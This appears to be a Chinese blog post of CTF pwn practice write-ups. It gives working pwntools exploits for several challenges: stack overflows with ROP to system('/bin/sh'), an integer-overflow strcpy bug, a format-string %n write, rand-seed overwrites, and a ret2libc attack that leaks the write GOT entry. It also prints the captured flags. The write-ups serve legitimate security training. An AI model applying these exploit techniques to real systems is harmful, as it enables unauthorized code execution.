[GFCTF 2021]where_is_shell
from pwn import *
>>> elf = ELF("./shell")
[*] '/home/za/ctf/pwn/nssctf/whereisshell/shell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
>>> sys = elf.plt["system"]
>>> ret = 0x000400416
>>> bin = 0x400541
>>> io = process("./shell")
[x] Starting local process './shell'
[+] Starting local process './shell': pid 123
>>> payload = b'a'*(0x10+8) + p64(ret) + p64(0x4005e3) + p64(bin) + p64(sys)
>>> io.sendline(payload)
>>> io.interactive()
[*] Switching to interactive mode
zltt lost his shell, can you find it?
ls
shell shell:Zone.Identifier
>>> io = remote("node4.anna.nssctf.cn",28382)
[x] Opening connection to node4.anna.nssctf.cn on port 28382
[x] Opening connection to node4.anna.nssctf.cn on port 28382: Trying 1.14.71.254
[+] Opening connection to node4.anna.nssctf.cn on port 28382: Done
>>> io.sendline(payload)
>>> io.interactive()
[NSSCTF 2022 Spring Recruit]R3m4ke?
可以看到给出system("/bin/sh")
,可以直接利用该函数
地址在0x400730
处,直接构造payload
>>> from pwn import *
>>> io = process("./r3m4ke1t")
[x] Starting local process './r3m4ke1t'
[+] Starting local process './r3m4ke1t': pid 72
>>> payload = b'a'*(0x20+8)+p64(0x400730)
>>> io.sendline(payload)
>>> io.interactive()
[*] Switching to interactive mode
--- --- --------- ---------
| | \ | | / /----|__| / /----|__|
| |\ \ | | | |_______ | |_______
| | \ \| | \ ______ \ \ ______ \
| | \ \ | _______| | _______| |
| | \__| |_________/ |_________/
[+] Welcome to NSS , this is a very simple PWN question for getting started>
ls
r3m4ke1t r3m4ke1t:Zone.Identifier
如果想用rop,要了解一些东西
而再X64程序中。函数的参数在call的时候会进入rdi 、 rsi 、rdx 、rcx 、r8 、r9,当传输参数超过6个的时候就会压入栈中。
>>> from pwn import *
>>> io = process("./r3m4ke1t")
[x] Starting local process './r3m4ke1t'
[+] Starting local process './r3m4ke1t': pid 81
>>> elf = ELF("./r3m4ke1t")
[*] '/home/za/ctf/pwn/nssctf/spring/r3m4ke1t'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
>>> sys = elf.plt["system"]
>>> bin = 0x0040093D
>>> pop = 0x0004007e3
>>> payload = b'a'*(0x20+8) + p64(pop) + p64(bin) + p64(sys)
>>> io.sendline(payload)
>>> io.interactive()
[*] Switching to interactive mode
[*] Process './r3m4ke1t' stopped with exit code -11 (SIGSEGV) (pid 81)
--- --- --------- ---------
| | \ | | / /----|__| / /----|__|
| |\ \ | | | |_______ | |_______
| | \ \| | \ ______ \ \ ______ \
| | \ \ | _______| | _______| |
| | \__| |_________/ |_________/
[+] Welcome to NSS , this is a very simple PWN question for getting started>
[*] Got EOF while reading in interactive
ls
[*] Got EOF while sending in interactive
>>> io = remote("node4.anna.nssctf.cn",28497)
[x] Opening connection to node4.anna.nssctf.cn on port 28497
[x] Opening connection to node4.anna.nssctf.cn on port 28497: Trying 1.14.71.254
[+] Opening connection to node4.anna.nssctf.cn on port 28497: Done
>>> io.sendline(payload)
>>> io.interactive()
[*] Switching to interactive mode
--- --- --------- ---------
| | \ | | / /----|__| / /----|__|
| |\ \ | | | |_______ | |_______
| | \ \| | \ ______ \ \ ______ \
| | \ \ | _______| | _______| |
| | \__| |_________/ |_________/
[+] Welcome to NSS , this is a very simple PWN question for getting started>
/bin/sh: 1: s: not found
ls
bin
dev
flag
lib
lib32
lib64
pwn
cat flag
NSSCTF{11b8df1e-2633-47a6-bad1-d3ad22c990f4}
>>> payload = b'a'*(0x20+8) + p64(pop) + p64(bin) +p64(0x00400773)+ p64(sys)
>>> io = process("./r3m4ke1t")
[x] Starting local process './r3m4ke1t'
[+] Starting local process './r3m4ke1t': pid 86
>>> io.sendline(payload)
>>> io.interactive()
[*] Switching to interactive mode
--- --- --------- ---------
| | \ | | / /----|__| / /----|__|
| |\ \ | | | |_______ | |_______
| | \ \| | \ ______ \ \ ______ \
| | \ \ | _______| | _______| |
| | \__| |_________/ |_________/
[+] Welcome to NSS , this is a very simple PWN question for getting started>
ls
r3m4ke1t r3m4ke1t:Zone.Identifier
ls
r3m4ke1t r3m4ke1t:Zone.Identifier
cat /flag
flag{you_are_v5ry_G0od!!!}
为什么不加ret本地打不通,而远程可以打通,只有加了ret,才可以打通
int_overflow
常规先check
放入IDA分析
main函数无明显漏洞,调用了一个login函数
跟踪函数,
有一个buf数组,但是限制了输入199,无法溢出,进入check_passwd函数查看
首先是v3是buf的长度,我们可以看到dest的长度只有11,strcpy函数则是将buf复制到dest,我们知道buf的长度很长,这个地方就产生了溢出,但是限制v3的大小在38之间,进入该分支,发现v3是unsigned类型,在0255之间,而buf的长度是0x199,想到整数上溢,只要将payload的长度填充到259~263之间即可满足条件
exp如下:
from pwn import *
io = remote("61.147.171.105",53168)
io.recv()
#b'---------------------\n~~ Welcome to CTF! ~~\n 1.Login \n 2.Exit #\n---------------------\nYour choice:'
io.sendline("1")
io.recv()
#b'Please input your username:\n'
io.sendline("addmin")
io.recv()
#b'Hello addmin\n\nPlease input your passwd:\n'
payload = b'a'*(0x14+4) + p32(0x804868B) + b'a'*233
io.sendline(payload)
io.interactive()
#[*] Switching to interactive mode
#Success
#cyberpeace{cbb4092468edf1312b8715b0e4a64048}
CGfsb
常规checksec
发现栈保护机制和栈不可执行打开,放到IDA查看
这题不能使用栈溢出,看到printf(s),可能有格式化字符串漏洞,利用的地方在system("cat flag"),条件是pwnme=8,它是全局变量,不会受alsr的影响,想办法改变该值
%n的作用就是统计已经输出的字符串的个数,并将其写在某个合适的地址上
比如
发现a的值变为12
我们可以来改变pwnme的值
1、pwnme 的地址输入到 s(也就是 message)中去,因为要改变这个参数
2、将%n和pwnme对应起来,可以改变这个值
格式化说明符有这些:
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
所以我们要知道输入到message中的pwnme在栈中的位置,因为aslr的原因,栈的位置是未知的,我们可以使用偏移,%i$n是获得在此地址偏移i+1个参数的值,思路就出来了:
输入pwnme地址,填充到八个字节,然后找到pwnme在栈中的位置,就可以对应起来
然后我们来寻找偏移量
输入这个字符,观察输出(注意开头的AAAA是单纯的输出字符串,不是在栈中的),%p会持续输出栈中后续的值,我们看到了0x41414141(我们输入的AAAA),这就找到了位置,偏移量是10,但是其实是第9个参数,使用%10$n来获得,之后就简单了
from pwn import *
#r = process('./pwn')
r = remote("61.147.171.105",50386)
r.recvuntil("please tell me your name:")
payload1 = '123'
r.sendline(payload1)
r.recvuntil("leave your message please:")
payload2 = p32(0x0804A068) + b'aaaa%10$n'
r.sendline(payload2)
r.interactive()
guess_num
Checksec
能开的保护都开了
查看sub_C3E
gift给我们了,控制程序流向这个函数
分析主函数,随机生成十个随机数,需要你猜出每个数,让他们一致,但是c语言的随机数,知道了种子,其输出值是可以知道的,但是对于不同的库函数,生成的可能也不一样
所以我们也要知道这个库函数
库已经给出,我们可以利用
然后就是在主函数中,我们能控制得输入是v7这个数组,v7和seed数组挨着,我们通过过多的输入来控制seed函数的值
然后就可以编写代码
from pwn import *
from ctypes import *
#io = process("./pwn")
io = remote("61.147.171.105",62729)
payload = b'a' * 0x20 + p64(0)#首先填满v7,再覆盖seed数组
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")#定义libc版本
io.sendline(payload)
libc.srand(0)#使用该函数
for i in range(10):
num = str(libc.rand()%6+1)#生成随机数
io.sendlineafter("Please input your guess number:",str(num))
io.interactive()
level3
首先checksec level3文件
只打开了栈不可执行型,我们放在IDA中分析
发现有vuln函数,点进去
典型的栈溢出,数组只有136个,可以写入0x100个,经过寻找发现,即没有system函数,也没有/bin/sh函数,
但是给了libc文件,我们就想到,利用libc中的system函数和/bin/sh来获得shell,但是有一个问题,一般默认打开alsr保护,我们并不知道每一次运行时的位置,c语言文件运行时,libc文件是一整个加载到内存中的,所以地址无论怎么变化,两个函数之间的地址总是不会变化的,那我们要做的就是泄露出libc的基址
因为write函数,在运行中被调用,所以got表中有write的地址,我们就利用它来泄露
寻找/bin/sh相对于基址的地址 0x15902b
寻找system相对于基址的地址
这些都有了,我们就需要泄露地址了,C语言基础不好,不知道怎么泄露,发现运行的时候,write函数是可以进行输出的,write(1, "Input:\n", 7u);
这段代码是向标准输出,输入7个字节,输入的内容是"Input:\n",然后可以输出到shell中,那就思路就清晰了,首先是填充垃圾字节,0x88个,覆盖ebp,4个字节,然后跳转到write函数,write函数会向高两个字节处按顺序填入自己的参数,泄露成功后,因为我们还需要获得shell,所以我们需要回到main函数,因此写入write函数地址后,紧接着就是main函数的地址(write(1,write_got,4)
)
payload0 = b'a'*(0x88+0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
然后就会到main函数了,然后就是构造第二个payload,就很常规了,system("/bin/sh")
payload1 = b'a'*(0x88+4) + p32(sys_addr) + b'a'*4 + p32(bin_sh_addr)
完整的exp如下
from pwn import *
io = remote("61.147.171.105",61791)
#io = process("./level3")
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
io.recvuntil('Input:\n')
payload0 = b'a'*(0x88+0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload0)
write_got = (u32(io.recv()))
print(write_got)
#得到基址
libc_base_addr = write_got - libc.symbols['write']
#得到system的地址
sys_addr = libc_base_addr + libc.symbols['system']
#得到/bin/sh的地址
bin_sh_addr = libc_base_addr + 0x15902b
payload1 = b'a'*(0x88+4) + p32(sys_addr) + b'a'*4 + p32(bin_sh_addr)
io.sendline(payload1)
io.interactive()
dice_game
与guess_num一致
from pwn import *
from ctypes import *
#from LibcSearcher import *
r=remote("61.147.171.105",50676)
#r = process("./dice_game")
libc = cdll.LoadLibrary("libc.so.6")#因为题目给了libc文件,我们需要利用libc库中的函数rand生成与题目一样的随机数。
payload=b'a'*(0x50-0x10)+p64(0)
r.sendafter('Welcome, let me know your name: ',payload)
a=[]
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
r.recv()
print(r.recv())
r.sendline(str(i))
r.interactive()
标签:libc,r3m4ke1t,练习,write,io,pwn,payload,interactive
From: https://www.cnblogs.com/zMeedA/p/18214506